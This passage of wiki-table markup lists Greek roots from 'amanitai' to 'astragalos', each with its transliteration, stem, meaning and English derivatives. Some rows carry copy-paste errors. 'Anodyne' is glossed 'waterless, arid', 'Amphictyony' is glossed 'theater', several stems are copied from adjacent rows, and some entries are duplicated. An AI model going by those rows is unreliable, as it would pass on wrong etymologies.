|{{polytonic|Ἀμανίται}}||amanitai||{{polytonic|ἀμανίτ}}-||amanit-||a kind of fungus||[[amanita]], [[amanitaceae]]
|-
|{{polytonic|ἀμάρανθος}}||amarantos||{{polytonic|ἀμαρανθ}}-||amaranth-||unfading flower||[[amaranth]], [[amaranthaceae]], [[amaranthine]]
|-
|{{polytonic|Ἀμαρυλλίς}}||amarullis||{{polytonic|ἀμαρυλλ}}-||amarull-||name of a shepherdess ''Gk. Myth.''||[[amaryllis]], [[amaryllidaceae]]
|-
|{{polytonic|ἀμαύρωσις}}||amaurōsis||{{polytonic|ἀμαυρω}}-||amauro-||blacken||[[amaurosis fugax|amaurosis]], [[amaurophilia]], [[amaurobiidae]]
|-
|{{polytonic|ἀμβλύς}}||amblus||{{polytonic|ἀμβλυ}}-||ambly-||dim||[[amblygonite]], [[amblyopia]], [[amblypoda]]
|-
|{{polytonic|ἄμβροτος}}||ambrotos||{{polytonic|ἀμβρο}}-||ambro-||immortal||[[ambrosia]], [[ambrotype]]
|-
|{{polytonic|ἄμβυξ}}||ambix||{{polytonic|ἀμβ}}-||amb-||cup||[[alembic]]
|-
|{{polytonic|ἄμβων}}||ambōn||{{polytonic|ἀμβω}}-||ambo-||raised edge||[[ambo]]
|-
|{{polytonic|ἀμέθυστος}}||amethustos||{{polytonic|ἀμεθυστ}}-||amethyst-||not drunk or intoxicating||[[amethyst]]
|-
|{{polytonic|ἄμετρος}}||ametros||{{polytonic|ἀμετρο}}-||ametro-||without measure ||[[ametropia]]
|-
|{{polytonic|ἀμίαντος}}||amiantos||{{polytonic|ἀμιαντ}}-||amiant-||undefiled||[[amianthus]]
|-
|{{polytonic|ἄμμος}}||ammos||{{polytonic|ἀμμο}}-||ammo-||sand||[[ammoperdix]], [[ammophila]], [[ammotrechidae]]
|-
|{{polytonic|ἀμνησία}}||amnēsia||{{polytonic|ἀμνησ}}-||amnēs-||oblivion||[[amnesia]]
|-
|{{polytonic|ἀμνηστία}}||amnēstia||{{polytonic|ἀμνηστ}}-||amnēst-||forgetfulness, amnesty||[[amnesty]], [[amnestic]]
|-
|{{polytonic|ἀμμωνιακός}}||ammōniakos||{{polytonic|ἀμμονια}}-||ammōnia-||from Ammōn||[[ammonia]], [[ammoniacal]]
|-
|{{polytonic|ἀμμωνίς}}||ammōnis||{{polytonic|ἀμμων}}-||ammon-||horn of Ammōn||[[ammonite]], [[ammonoid]], [[ammonoidea]]
|-
|{{polytonic|ἀμνός}}||amnos||{{polytonic|ἀμν}}-||amn-||lamb||[[amnion]], [[amniotic]]
|-
|{{polytonic|ἀμοιβή}}||amoebē||{{polytonic|ἀμοιβή}}-||amoeb-||change||[[amoeba]], [[amoebic]]
|-
|{{polytonic|ἄμορφος}}||amorphos||{{polytonic|ἄμορφ}}-||amorph-||shapeless||[[amorphous]], [[amorphism]]
|-
|{{polytonic|ἄμυλον}}||amylon||{{polytonic|ἄμυλ}}-||amyl-||starch||[[amylin]], [[amyloid]], [[amylose]], [[amylopectin]], [[amylase]], [[amyls]], [[amylophagia]], [[amyl]]
|-
|{{polytonic|ἀμυγδαλή}}||amugdalē||{{polytonic|ἀμυγδ-&lt;br&gt;ἀλμ}}-||amygd-&lt;br&gt;alm-||almond tree||[[amygdala]], [[amygdaline]], [[amygdule]]&lt;br&gt;[[almond]]
|-
|{{polytonic|ἀμφί}}||amphi||{{polytonic|ἀμφι}}-||amphi-||on both sides||[[amphipoda]], [[amphioxus]], [[amphiglossus]]
|-
|{{polytonic|ἀμφιβάλλειν}}||amphiballein||{{polytonic|ἀμφιβ}}-||amphib-||to throw on either side, to doubt||[[amphibole]], [[amphibology]]
|-
|{{polytonic|ἀμφίβιος}}||amphibios||{{polytonic|ἀμφιβι}}-||amphibi-||living a double life||[[amphibious]], [[amphibians]]
|-
|{{polytonic|ἀμφίβολος}}||amphibolos||{{polytonic|ἀμφιβολ}}-||amphibol-||doubtful||[[amphibole]], [[amphibolite]]
|-
|{{polytonic|ἀμφίβραχυς}}||amphibrakhus||{{polytonic|ἀμφιβραχ}}-||amphibrach-||short at both ends||[[amphibrach]], [[amphibolite]]
|-
|{{polytonic|ἀμφιθέατρον}}||amphitheatron||{{polytonic|ἀμφιθέατ}}-||amphitheat-||theater||[[amphitheater]], [[amphitheatric]]
|-
|{{polytonic|Ἀμφικτυονία}}||Amphiktyonia||{{polytonic|ἀμφικτυονι}}-||amphiktyoni-||theater||[[Amphictyony]], [[amphictyonic]]
|-
|{{polytonic|ἀμφίμακρος}}||amphimakros||{{polytonic|ἀμφιμακ}}-||amphimac-||long at both ends||[[amphimacer]]
|-
|{{polytonic|ἀμφορεύς}}||amphoreus||{{polytonic|ἀμφορ}}-||amphor-||bearer||[[amphora]], [[ampulla]]
|-
|{{polytonic|ἀμφότερος}}||amphoteros||{{polytonic|ἀμφότερ}}-||amphoter-||each of two||[[amphoteric]]
|-
|{{polytonic|ἀνά}}||ana||{{polytonic|ἀνα}}-||ana-||again, backward, upward||[[anabolism]], [[anachronism]], [[anaplasia]]
|-
|{{polytonic|ἀναβαίνειν}}||anabainein||{{polytonic|ἀναβα}}-||anaba-||to go up||[[anabasis]], [[anabatic wind|anabatic]], [[anabantidae]]
|-
|{{polytonic|ἀναβαπτίζειν}}||anabaptizein||{{polytonic|ἀναβαπτ}}-||anabapt-||to re-baptize||[[anabaptist]]
|-
|{{polytonic|ἀναβιώνειν}}||anabiōnein||{{polytonic|ἀναβιω}}-||anabio-||to return to life||[[anabiosis]]
|-
|{{polytonic|ἀναβολή}}||anabolē||{{polytonic|ἀναβολ}}-||anabol-||putting off, delaying||[[anabolism]], [[anabolic steroid]]
|-
|{{polytonic|ἀνάγλυφος}}||anagluphos||{{polytonic|ἀνάγλυφ}}-||anaglyp-||putting wrought in low relief||[[anaglyph]]
|-
|{{polytonic|ἀναγραμματισμός}}||anagrammatismos||{{polytonic|ἀναγραμ}}-||anagram-||transpose the letters of one word so as to form another||[[anagram]], [[anagrammatize]]
|-
|{{polytonic|ἀναγωγή}}||anagōgē||{{polytonic|ἀναγωγ}}-||anagog-||spiritual uplift, reference to a principle||[[anagoge]]
|-
|{{polytonic|ἀνάδρομος}}||anadromos||{{polytonic|ἀναδρομ}}-||anadrom-||running up||[[anadromous]]
|-
|{{polytonic|ἀνάδειν}}||anadein||{{polytonic|ἀναδ}}-||anad-||to bind up||[[anadem]]
|-
|{{polytonic|ἀναδίπλωσις}}||anadipōlsis||{{polytonic|ἀναδιπλο}}-||anadiplo-||to redouble||[[anadiplosis]]
|-
|{{polytonic|ἀνάδρομος}}||anadromos||{{polytonic|ἀναδρομ}}-||anadrom-||running up||[[anadromous]]
|-
|{{polytonic|ἀναθεματίζειν}}||anathematizein||{{polytonic|ἀναθεμα}}-||anathema-||ban, curse, or excommunication||[[anathema]], [[anathematize]]
|-
|{{polytonic|ἀναισθησία}}||anaisthēsia||{{polytonic|ἀναισθη}}-||anaesthe-||lack of sensation, insensibility under surgical treatment||[[anaesthesia]], [[anaesthesiologist]], [[anaesthetic]]
|-
|{{polytonic|ἀνάκλισις}}||anaklisis||{{polytonic|ἀνακλι}}-||anakli-||to lean back||[[anaclitism]], [[anaclisis]]
|-
|{{polytonic|ἀνακολουθία}}||anakolouthia||{{polytonic|ἀνακολουθ}}-||anakolouth-||inconsequence||[[anacoluthon]]
|-
|{{polytonic|ἀνάκρουσις}}||anacrousis||{{polytonic|ἀνακρου}}-||anacru-||push back, beginning of a tune||[[anacrusis]]
|-
|{{polytonic|ἀναλγησία}}||analgesia||{{polytonic|ἀναλγησ}}-||analges-||painlessnes||[[analgesia]], [[analgetic]], [[analgesics]]
|-
|{{polytonic|ἀναλέγειν}}||analegein||{{polytonic|ἀναλε}}-||anale-||to gather||[[analects]]
|-
|{{polytonic|ἀνάλειμμα}}||analēmma||{{polytonic|ἀνάλειμ}}-||analem-||support||[[analemma]]
|-
|{{polytonic|ἀναληπτικός}}||analeptikos||{{polytonic|ἀναληπτ}}-||analept-||restorative||[[analeptic]]
|-
|{{polytonic|ἀνάλκιμος}}||analkimos||{{polytonic|ἀνάλκιμ}}-||analcim-||weak||[[analcime]], [[analcite]]
|-
|{{polytonic|ἀναλογία}}||analogia||{{polytonic|ἀναλογι}}-||analogy-||proportion [http://www.perseus.tufts.edu/cgi-bin/ptext?doc=Perseus%3Atext%3A1999.04.0057%3Aentry%3D%236927]||[[analogy]]
|-
|{{polytonic|ἀναλογικός}}||analogikos||{{polytonic|ἀναλογ}}-||analog-||based on mathematical ratios [http://www.perseus.tufts.edu/cgi-bin/ptext?doc=Perseus%3Atext%3A1999.04.0057%3Aentry%3D%236929]||[[analog (disambiguation)|analog]], [[analogue]]
|-
|{{polytonic|ἀνάλογος}}||analogos||{{polytonic|ἀναλογ}}-||analog-||proportionate, conformable [http://www.perseus.tufts.edu/cgi-bin/ptext?doc=Perseus%3Atext%3A1999.04.0057%3Aentry%3D%236934]||[[analogous]]
|-
|{{polytonic|ἀναλύειν}}||analuein||{{polytonic|ἀναλυ}}-||analy-||to loosen, to simplify||[[analysis]], [[analytical]], [[analyze]], [[analyst]]
|-
|{{polytonic|ἀναλφάβητος}}||analphabētos||{{polytonic|ἀναλφαβητ}}-||analphabet-||uneducated||[[analphabetic]], [[analphabetism]]
|-
|{{polytonic|ἀνάμνησις}}||anamnēsis||{{polytonic|ἀναμνησ}}-||anamnes-||recollection, reminiscence||[[Anamnesis in Traumatic Incident Reduction|anamnesis]], [[anamnestic]]
|-
|{{polytonic|ἀναμορφώνειν}}||anamorfōnein||{{polytonic|ἀναμορφω}}-||anamorfο-||transform||[[anamorphosis]], [[anamorphoscope]]
|-
|{{polytonic|ἂναξ}}||anax||{{polytonic|ἀναμορφω}}-||anamorfο-||lord, master, king||[[anax imperator|anax]]
|-
|{{polytonic|ἀνάπαιστος}}||anapaistos||{{polytonic|ἀναπαιστ}}-||anapaest-||anapaestic verse||[[anapest]], [[anapestic]]
|-
|{{polytonic|ἀνάπλαστος}}||anaplastos||{{polytonic|ἀναπλαστ}}-||anaplast-||remolded||[[anaplasty]], [[anaplasia]]
|-
|{{polytonic|ἀναπληρωτικός}}||anaplērōtikos||{{polytonic|ἀναπληρωτικ}}-||anaplerotic-||filling up||[[Anaplerotic pathways|anaplerotic]]
|-
|{{polytonic|ἀναπνοή}}||anapnoē||{{polytonic|ἀναπνο}}-||anapno-||respiration, breathing||[[anapnoic]], [[anapnograph]]
|-
|{{polytonic|ἀναπόδεικτος}}||anapodeiktos||{{polytonic|ἀναπόδεικ}}-||anapodeic-||not proved||[[anapodeictic]]
|-
|{{polytonic|ἀνάπτυξις}}||anaptuksis||{{polytonic|ἀνάπτυξ}}-||anaptyx-||expansion, explanation||[[anaptyxis]]
|-
|{{polytonic|ἄναρθρος}}||anarthros||{{polytonic|ἀναρθρ}}-||anarthr-||not articulated||[[anarthria]], [[anarthrous]]
|-
|{{polytonic|ἄναρχος}}||anarkhos||{{polytonic|ἀναρχ}}-||anarch-||without a ruler||[[anarchy(word)|anarchy]], [[anarchism]]
|-
|{{polytonic|ἀναστομόω}}||anastomōo||{{polytonic|ἀναστομo}}-||anastomo-||furnish with a mouth, open up||[[anastomosis]]
|-
|{{polytonic|ἀναστρέφειν}}||anastrephein||{{polytonic|ἀναστρ}}-||anastr-||to turn back||[[anastrophe]]
|-
|{{polytonic|ἀνατείνειν}}||anateinein||{{polytonic|ἀνατ}}-||anat-||to stretch||[[anatase]]
|-
|{{polytonic|ἀνατολή}}||anatolē||{{polytonic|ἀνατολ}}-||anatol-||East||[[Anatolia]], [[Anatolian]]
|-
|{{polytonic|ἀνατομία}}||anatomia||{{polytonic|ἀνατομι}}-||anatomi-||dissection||[[anatomical]], [[anatomist]]
|-
|{{polytonic|ἀνατρέπειν}}||anatrepein||{{polytonic|ἀνατρεπ}}-||anatrep-||to reverse||[[anatropous]], [[anatreptic]], [[anatropal]], [[anatropia]]
|-
|{{polytonic|ἀναφέρειν}}||anapherein||{{polytonic|ἀναφo}}-||anapho-||to bring back||[[anaphora]]
|-
|{{polytonic|ἀναφυλάσσειν}}||anaphulassein||{{polytonic|ἀναφυλακ}}-||anaphulac-||to guard||[[anaphylaxis]], [[anaphylactic]], [[Anaphylactoid purpura|anaphylactoid]]
|-
|{{polytonic|ἀναχρονισμός}}||anachronismos||{{polytonic|ἀναχρον}}-||anachron-||wrong time reference||[[anachronistic]], [[anachronism]]
|-
|{{polytonic|ἀναχωρείν}}||anachōrein||{{polytonic|ἀναχωρ}}-||anchor-||to go back, to retire||[[anchorite]], [[anchoress]], [[anchoretism]], [[anachorism]]
|-
|{{polytonic|Ἀνδρομέδα}}||Andromēda||{{polytonic|ἀνεμο}}-||anemo-||wife of Perseus||[[Andromeda (mythology)|Andromeda]], [[Andromeda polifolia]]
|-
|{{polytonic|ἄνεμος}}||anemos||{{polytonic|ἀνεμο}}-||anemo-||wind||[[anemometer]], [[anemoscopy]], [[anemography]], [[anemometry]], [[anemophilous]], [[anemochory]]
|-
|{{polytonic|ἀνέκδοτος}}||anekdotos||{{polytonic|ἀνεκδοτ}}-||anecdot-||unpublished||[[anecdote]], [[anecdotal]], [[anecdotally]]
|-
|{{polytonic|ἀνεμώνη}}||anemonē||{{polytonic|ἀνεμών}}-||anemone-||lit. daughter of the wind||[[anemone]], [[sea-anemone]]
|-
|{{polytonic|ἀνεπίγραφος}}||anepigraphos||{{polytonic|ἀνεμών}}-||anemone-||without title or inscription||[[anepigraphic]]
|-
|{{polytonic|ἀνέργεια}}||anergia||{{polytonic|ἀνεργ}}-||anerg-||cessation from work||[[anergy]]
|-
|{{polytonic|ἀνεύρισμα}}||aneurusma||{{polytonic|ἀνεύρισμ}}-||aneurysm-||dilation||[[aneurysm]]
|-
|{{polytonic|ἀνήρ}}||anēr||{{polytonic|ἀνδρο-&lt;br&gt;-ανδρι}}||andrο-&lt;br&gt;-andri||man (male human) ||  [[androcentrism]], [[androgen]], [[android]], [[andrologist]], [[andrology]], [[androstephium]], [[androsterone]]&lt;br&gt;[[misandry]], [[monandry]], [[polyandry]]
|-
|{{polytonic|ἀνθολόγιον}}||antholōgion||{{polytonic|ἀνθολoγ}}-||antholog-||collection of extracts||[[anthology]], [[anthologist]]
|-
|{{polytonic|ἄνθος}}||anthos||{{polytonic|ἀνθο}}-||antho- ||flower||[[anthology]], [[anthophyta]], [[anthostema]], [[anthogonium]], [[Coral|Anthozoa]], [[anthocleista]], [[anthotype]], [[anthocyanin]], [[anthocerotophyta]], [[anthonomuschrysanthemum]]
|-
|{{polytonic|ἄνθρακίτις}}||anthrakitēs||{{polytonic|ἀνθρακιτ}}-||anthracit-||kind of coal||[[anthracite]], [[anthracite iron]]
|-
|{{polytonic|ἄνθραξ}}||anthrax||{{polytonic|ἀνθρακ}}-||anthrac-||coal||[[anthrax]], [[anthracotherium]], [[anthracosaurs]], [[anthracosis]]
|-
|{{polytonic|ἄνισος}}||anisos||{{polytonic|ἀνισο}}-||aniso-||unequal, uneven||[[anisogamous]], [[anisometric]], [[anisotropic]]
|-
|{{polytonic|ἄνθρωπος}}||anthrōpos||{{polytonic|ἀνθρωπο}}-||anthrōpo-||human being||[[anthropology]], [[anthropomorphism]], [[anthropopathy]], [[anthropometrics]], [[anthropomancy]], [[anthropopath]], [[anthropoglot]], [[anthroponyms]], [[anthroposophical]], [[anthroponym]], [[anthropophilic]], [[anthropomorphists]], [[anthropocentrism]], [[anthropomorphics]], [[anthropoidea]], [[anthroposemiotics]], [[anthropophobia]]
|-
|{{polytonic|ἀνιέναι}}||anienai||{{polytonic|ἀνι}}-||ani-||to go up ||[[anion]]
|-
|{{polytonic|ἄνισος}}||anisos||{{polytonic|ἀνισο}}-||aniso-||unequal, dissimilar||[[anisotropic]], [[anisometric]], [[anisometropia]]
|-
|{{polytonic|ἂννησον}}||annēson||{{polytonic|ἂννησ}}-||anis-||dill||[[anise]], [[aniseed]], [[anisette]]
|-
|{{polytonic|ἄνοδος}}||anodos||{{polytonic|ἀνοδ}}-||anod-||way up||[[anode]], [[anodising]]
|-
|{{polytonic|ἄνομος}}||anomos||{{polytonic|ἀνομ}}-||anom-||lawless||[[anomie]], [[anomoean]], [[anomophyllous]]
|-
|{{polytonic|ἀνορεξία}}||anorexia||{{polytonic|ἀνορεκ}}-||anorec-||lack of appetite||[[anorexia]], [[anorectic]], [[anorexigenic]]
|-
|{{polytonic|ἀνόρθωσις}}||anorthōsis||{{polytonic|ἀνορθω}}-||anortho-||restoration, erection||[[anorthosite]], [[anorthoclase]] 
|-
|{{polytonic|ἀνταγωνίζεσθαι}}||antagōnizesthai||{{polytonic|ἀνταγωνιζ}}-||antagōniz-||struggle against, prove a match for||[[antagonize]], [[antagonism]], [[antagonistic]]
|-
|{{polytonic|ἀντί}}||anti||{{polytonic|ἀντι}}-||anti-||opposite, counter||[[antibiotic]], [[anticyclone]], [[antidiabetic]], [[antihero]], [[antihistamine]], [[antioxidant]], [[antiseptic]], [[antistatic]]
|-
|{{polytonic|ἀντίδοτον}}||antidoton||{{polytonic|ἀντιδοτ}}-||antidot-||to give as a remedy against||[[antidote]], [[antidoting]]
|-
|{{polytonic|ἀντινομία}}||antinomia||{{polytonic|ἀντινομ}}-||antinom-||contradiction between laws||[[antinomy]], [[antinomianism]]
|-
|{{polytonic|ἀντιπάθεια}}||antipatheia||{{polytonic|ἀντιπαθ}}-||antipath-||of opposite feelings||[[antipathetic]], [[antipathy]]
|-
|{{polytonic|ἀντίπους}}||antipous||{{polytonic|ἀντιποδ}}-||antipod-||the opposite foot, diametrically opposed||[[antipode]], [[antipodal]]
|-
|{{polytonic|ἀντισήπω}}||antisēpō||{{polytonic|ἀντισηπ}}-||antisep-||make to putrefy in turn||[[antisepsis]], [[antiseptic]]
|-
|{{polytonic|ἀντίστροφος}}||antistrophos||{{polytonic|ἀντιστροφ}}-||antistroph-||to invert||[[antistrophe]]
|-
|{{polytonic|ἀντιτιθέναι}}||antitithenai||{{polytonic|ἀντιθ}}-||antith-||to oppose||[[antithesis]], [[antithetical]]
|-
|{{polytonic|ἀντιφράζειν}}||antiphrazein||{{polytonic|ἀντιφρα}}-||antiphra-||to speak the opposite||[[Figure of speech|antiphrasis]]
|-
|{{polytonic|ἀντίφωνος}}||antiphonos||{{polytonic|ἀντιφων}}-||antiphon-||sounding in answer||[[antiphon]], [[anthem]]
|-
|{{polytonic|ἄντρον}}||antron||{{polytonic|ἀντρ}}-||antr-||cave, cavity||[[antrum]]
|-
|{{polytonic|ἀντωνυμείν}}||antōnymein||{{polytonic|ἀντωνυμ}}-||antonym-||to have an opposite denomination||[[antonym]], [[antonymous]]
|-
|{{polytonic|ἄνυδρος}}||anhudros||{{polytonic|ἀνυδρ}}-||anhydr-||waterless, arid||[[anhydrite]], [[anhydrous]], [[anhydrobiosis]]
|-
|{{polytonic|ἀνώδυνος}}||anōdunos||{{polytonic|ἀνωδυν}}-||anodyn-||waterless, arid||[[anodyne]], [[anodynes]]
|-
|{{polytonic|ἄνοργος}}||anorgos||{{polytonic|ἀνoργ}}-||anorg-||not wrathful||[[anorgasmy]], [[anorgasmic]], [[anorgasmia]]
|-
|{{polytonic|ἄνορθος}}||anorthos||{{polytonic|ἀνoρθ}}-||anorth-||sloping, incorrect||[[anorthography]], [[anorthodox]], 
|-
|{{polytonic|ἀνταρκτικός}}||antarktikos||{{polytonic|ἀνταρκτικ}}-||antarctic-||antarctic [http://www.perseus.tufts.edu/cgi-bin/ptext?doc=Perseus%3Atext%3A1999.04.0057%3Aentry%3D%239514]||[[antarctic]], [[antarctica]], 
|-
|{{polytonic|ἀνώμαλος}}||anōmalos||{{polytonic|ἀνώμαλ}}-||anōmal-||uneven||[[anomalocarid]], [[anomalopidae]], [[anomalopus]], [[anomaluridae]], [[anomaly]]
|-
|{{polytonic|ἀνώνυμος}}||anōnumos||{{polytonic|ἀνωνυμ}}-||anonym-||nameless||[[anonymity]], [[anonymous]]
|-
|{{polytonic|ἀνωφελής}}||anōphelēs||{{polytonic|ἀνωφελ}}-||anophel-||unprofitable, useless||[[anopheles]], [[anophelines]], [[anophelorastia]]
|-
|{{polytonic|ἄξιος}}||axios||{{polytonic|ἀξιο}}-||axio-||worthy||[[axiological]], [[axiology]], [[axiology]], [[axiom]], [[axiomatic]], [[axiomatisation]]
|-
|{{polytonic|ἄξων}}||axōn||{{polytonic|ἀξο}}-||axo-&lt;br&gt;axi-||axis||[[axoneme]], [[axoplasm]], [[axisymmetric]]
|-
|{{polytonic|ἀόριστος}}||aoristos||{{polytonic|ἀοριστ}}-||aorist-||indefinite||[[aoristic]], [[aorist]]
|-
|{{polytonic|ἀορτή}}||aortē||{{polytonic|ἀορτ}}-||aort-||the great artery||[[aortic]], [[aorta]]
|-
|{{polytonic|ἀπαθές}}||apathēs||{{polytonic|ἀπαθ}}-||apath-||without feeling||[[apatheism]], [[apatheist]], [[apathetic]], [[apathy]]
|-
|{{polytonic|ἃπαξ}}||hapax||{{polytonic|ἁπαξ}}-||apax-||once||[[hapax legomenon]], [[hapaxes]]
|-
|{{polytonic|ἀπάτη}}||apatē||{{polytonic|ἀπατ}}-||apat-||deceit||[[apatite]], [[apatosaurus]]
|-
|{{polytonic|ἁπλούς}}||haplous||{{polytonic|ἁπλο}}-||haplo-||single|| [[haplodiploid]], [[haploid]], [[haploidisation]], [[haplorrhines]], [[Cohen Modal Haplotype|Haplotype]]   
|-
|{{polytonic|ἀπό}}||apo||{{polytonic|ἀπο}}-||apo-||away from||[[apology]], [[apostrophe]], [[apocrypha]]
|-
|{{polytonic|ἀπόγειον}}||apogeion||{{polytonic|ἀπογει}}-||apogei-||far from the earth||[[apogee]], [[apogean]]
|-
|{{polytonic|ἀποδεικτικός}}||apodeiktikos||{{polytonic|ἀποδεικτ}}-||apodikt-||demonstrable||[[apodictic]], [[apodictically]]
|-
|{{polytonic|ἀποδιδώναι}}||apodidōnai||{{polytonic|ἀποδ}}-||apod-||to give back||[[apodosis]]
|-
|{{polytonic|ἀπόθεμα}}||apothema||{{polytonic|ἀπόθεμ}}-||apothem-||something laid down||[[apothem]]
|-
|{{polytonic|ἀποθέωσις}}||apotheōsis||{{polytonic|ἀποθεω}}-||apotheo-||to deify||[[apotheosis]], [[apotheosize]]
|-
|{{polytonic|ἀποθήκη}}||apothēkē||{{polytonic|ἀποθηκ}}-||apothek-||storehouse||[[apothecary]], [[apothecium]]
|-
|{{polytonic|ἀποκαλύπτειν}}||apokaluptein||{{polytonic|ἀποκαλυπ}}-||apocalyp-||to reveal||[[apocalypse]]
|-
|{{polytonic|ἀποκόπτειν}}||apokoptein||{{polytonic|ἀποκoπ}}-||apokop-||to cut||[[apocopation]], [[apocopate]]
|-
|{{polytonic|ἀποκρίνειν}}||apokrinein||{{polytonic|ἀποκριν}}-||apokrin-||to set apart||[[apocrine]]
|-
|{{polytonic|ἀποκρύπτειν}}||apokruptein||{{polytonic|ἀποκρυπ}}-||apokrup-||to hide away||[[apocrypha]], [[apocryphal]]
|-
|{{polytonic|Ἀπόλλων}}||Appolon||{{polytonic|ἀπόλλω}}-||Apollo-||name of a god ''Gk myth.||[[Apollo]], [[Apollonian]]
|-
|{{polytonic|ἀπολογία}}||apologia||{{polytonic|ἀπολογ}}-||apolog-||apology||[[apology]], [[apologize]], [[apologue]]
|-
|{{polytonic|ἀπόμιξις}}||apomixis||{{polytonic|ἀπομιξ}}-||apomix-||without mixing||[[apomixis]], [[apomictic]]
|-
|{{polytonic|ἀπονευρούσθαι}}||aponeurousthai||{{polytonic|ἀπονευρ}}-||aponeur-||to become tendinous||[[aponeurosis]]
|-
|{{polytonic|ἀποπλήσειν}}||apoplēssein||{{polytonic|ἀποπλη}}-||apople-||to cripple by a stroke ||[[apoplexy]], [[apoplectic]]
|-
|{{polytonic|ἄπορος}}||aporos||{{polytonic|ἀπορ}}-||apor-||impassable||[[aporia]]
|-
|{{polytonic|ἀποστάτης}}||apostatēs||{{polytonic|ἀποστατ}}-||apostat-||defector||[[apostate]], [[apostasy]]
|-
|{{polytonic|ἀποστέλλειν}}||apostellein||{{polytonic|ἀποστ}}-||apost-||to send||[[apostle]], [[apostolic]]
|-
|{{polytonic|ἀποστρέφειν}}||apostrephein||{{polytonic|ἀποστροφ}}-||apostroph-||to turn away||[[apostrophe]], [[apostrophize]]
|-
|{{polytonic|ἀποτρόπαιον}}||apotropaion||{{polytonic|ἀποτρo}}-||apotro-||something that averts evil||[[apotropaic]], [[apotropaically]]
|-
|{{polytonic|ἄπους}}||apous||{{polytonic|ἀποδ}}-||apod-||without feet||[[apodidae]], [[apodous]]
|-
|{{polytonic|ἀποφάναι}}||apophanai||{{polytonic|ἀποφα}}-||apopha-||to say no||[[apophasis]]
|-
|{{polytonic|ἀποφθέγεσται}}||apophthengesthai||{{polytonic|ἀποφθεγ}}-||apophtheg-&lt;br&gt;apotheg-||to speak plainly||[[apothegm]], [[apothegmatic]]
|-
|{{polytonic|ἀποφύειν}}||apophuein||{{polytonic|ἀποφυ}}-||apophy-||to send out branches||[[apophysis]], [[apophyseal]]
|-
|{{polytonic|ἄπτερος}}||apteros||{{polytonic|ἀπτερ}}-||apter-||wingless||[[apterous]], [[Apteryx]], [[Apterygidae]]
|-
|{{polytonic|ἀράχνη}}||arakhnē||{{polytonic|ἀραχνη}}||arakhnē-||spider||[[arachnid]] 
|-
|{{polytonic|ἄργιλλος}}||argillos||{{polytonic|ἀργιλ}}-||argil-||clay||[[argillite]], [[argillaceous]]
|-
|{{polytonic|Ἂρης}}||Arēs||{{polytonic|ἀρεο}}-||areo-||planet Mars||[[areocentric]], [[areology]]
|-
|{{polytonic|ἀρκέειν}}||arkēein||{{polytonic|ἀρκ}}-||arc-||to ward off, to defend, to assist [http://www.perseus.tufts.edu/cgi-bin/ptext?doc=Perseus%3Atext%3A1999.04.0057%3Aentry%3D%2315174]&lt;br&gt;alt. f. L. arceo &quot;to enclose, keep out, prevent||[[arc]], [[arcade]]
|-
|{{polytonic|ἀρθρῖτις}}||arthritis||{{polytonic|ἀρθριτ}}-||arthrit-||inflammation of joint ||[[arthritis]], [[osteoarthritis]]
|-
|{{polytonic|ἄρθρον}}||arthron||{{polytonic|ἀρθρο}}-||arthrο-||joint||[[arthropod]], [[arthroscopy]], [[arthropathy]]
|-
|{{polytonic|ἄρθρωσις }}||arthrōsis||{{polytonic|ἀρθρ}}-||arthr-||articulation||[[dysarthria]], [[diarthrosis]], [[anarthrous]]
|-
|{{polytonic|ἀριθμός}}||arithmos||{{polytonic|ἀριθμ}}-||arithm-||number||[[arithmetic]], [[logarithm]]
|-
|{{polytonic|ἄριστος}}||aristos||{{polytonic|ἀριστο}}-||aristo-||best||[[aristocracy]]
|-
|{{polytonic|ἄρκτος}}||arktos||{{polytonic|ἀρκτικ}}-||arctic-||bear, the northern constellation Ursa Major||[[arctic]]
|-
|{{polytonic|ἀρκτούρος}}||arktouros||{{polytonic|ἀρκτουρ}}-||arctur-||bearward||[[arcturus]], [[arcturis]], [[arcturian]]
|-
|{{polytonic|ἁρμονία}}||harmonia||{{polytonic|ἁρμονι}}-||harmoni-||agreement, harmony||[[harmony]], [[harmonium]], [[harmonica]], [[harmonisation]], [[harmonics]], [[enharmonic]]
|-
|{{polytonic|ἁρμός}}||harmos||{{polytonic|ἀρμ}}-||arm-||joint, shoulder||[[harmotome]], [[arm]]
|-
|{{polytonic|ἀρρυθμία}}||arrhuthmia||{{polytonic|ἀρρυθμ}}-||arrythm-||lack of rhythm||[[arrhythmia]], [[arrhythmic]]
|-
|{{polytonic|ἄρτιος}}||artios||{{polytonic|ἀρτιο}}-||artio-||even||[[artiodactyl]]
|-
|{{polytonic|ἀρχαῖος}}||arkhaios||{{polytonic|ἀρχαιο}}-||arkhaio-||ancient||[[archaeology]], [[archetype]]
|-
|{{polytonic|ἀρχή}}||arche||{{polytonic|ἀρχη}}-||archi-||chief, authority||[[archbishop]], [[anarchy (word)|anarchy]], [[archidiptera]], [[archigram]], [[archipelago]], [[architeuthidae]]
|-
|{{polytonic|ἀρχιτέκτων}}||arkhitektōn||{{polytonic|ἀρχιτεκτ}}-||architect-||chief builder||[[architecture]], [[architect]]
|-
|{{polytonic|ἄρχων}}||arkhōn||{{polytonic|ἀρχω}}-||archo-||ruler||[[archon]], [[archosaur]], [[archostemata]]
|-
|{{polytonic|ἄρωμα}}||arōma||{{polytonic|ἀρωμα}}-||aroma-||spice||[[aroma]], [[aromatic compounds]]
|-
|{{polytonic|ἀσθένεια}}||astheneia||{{polytonic|ἀσθεν}}-||asthen-||weakness||[[asthenia]], [[asthenopia]]
|-
|{{polytonic|ἄσθμα}}||asthma||{{polytonic|ἀσθμα}}-||asthma-||asthma||[[asthmatic]]
|-
|{{polytonic|Ἀσία}}||Asia||{{polytonic|ἀσια}}-||Asia-||Mythological daughter of [[Iapetos]]||[[Asia Minor]], [[Asian]]
|-
|{{polytonic|ἀσπάραγος}}||aspharagos||{{polytonic|ἀσπαραγ}}-||asparag-||asparagus||[[asparagine acid]], [[aspartame]], [[aspartate]]
|-
|{{polytonic|ἀσπίς}}||aspis||{{polytonic|ἀσπ}}-||asp-||shield||[[asp (reptile)|asp]]
|-
|{{polytonic|ἀστήρ}}||astēr||{{polytonic|ἀστερ}}-||aster-||star||[[asteroid]], [[asterisk]]
|-
|{{polytonic|ἀστιγματισμός}}||astigmatismos||{{polytonic|ἀστιγματ}}-||astigmat-||without focus||[[astigmatism]]
|-
|{{polytonic|ἀστράγαλος}}||astragalos||{{polytonic|ἀστράγαλ}}-||astigmat-||vertebra, knucklebone||[[astragalus]], [[astragal]]
|-
